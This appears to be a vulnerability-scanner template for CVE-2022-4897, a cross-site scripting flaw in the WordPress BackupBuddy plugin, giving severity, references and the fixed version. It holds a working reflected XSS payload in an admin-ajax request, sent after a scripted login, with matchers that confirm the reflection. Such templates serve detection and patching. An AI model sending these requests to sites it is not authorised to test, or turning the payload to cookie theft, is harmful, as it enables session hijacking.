id: CVE-2022-4897 info: name: WordPress BackupBuddy <8.8.3 - Cross Site Scripting author: r3Y3r53 severity: medium description: | WordPress BackupBuddy plugin before 8.8.3 contains a cross-site vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in various locations. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: Fixed in version 8.8.3. reference: - https://wpscan.com/vulnerability/7b0eeafe-b9bc-43b2-8487-a23d3960f73f - https://nvd.nist.gov/vuln/detail/CVE-2022-4897 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-4897 cwe-id: CWE-79 epss-score: 0.00289 epss-percentile: 0.65597 cpe: cpe:2.3:a:ithemes:backupbuddy:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: ithemes product: backupbuddy framework: wordpress tags: cve,cve2022,xss,backupbuddy,wordpress,wp-plugin,wpscan,wp,authenticated,ithemes http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=destination_picker&add=local&filter=local&callback_data=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.11 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(body_2, "onload=alert(document.domain)")' - 'contains(body_2, "BackupBudddy iFrame")' condition: and # digest: 4a0a00473045022100db001ae8a2191a6382e2bbe65c798b5b00b232e1c705d6e8117c442857c25ef6022004af4d88d7079a364b0bcc62b0ff493480121281382c78d51f3ad605b23af7b8:922c64590222798bb761d5b6d8e72950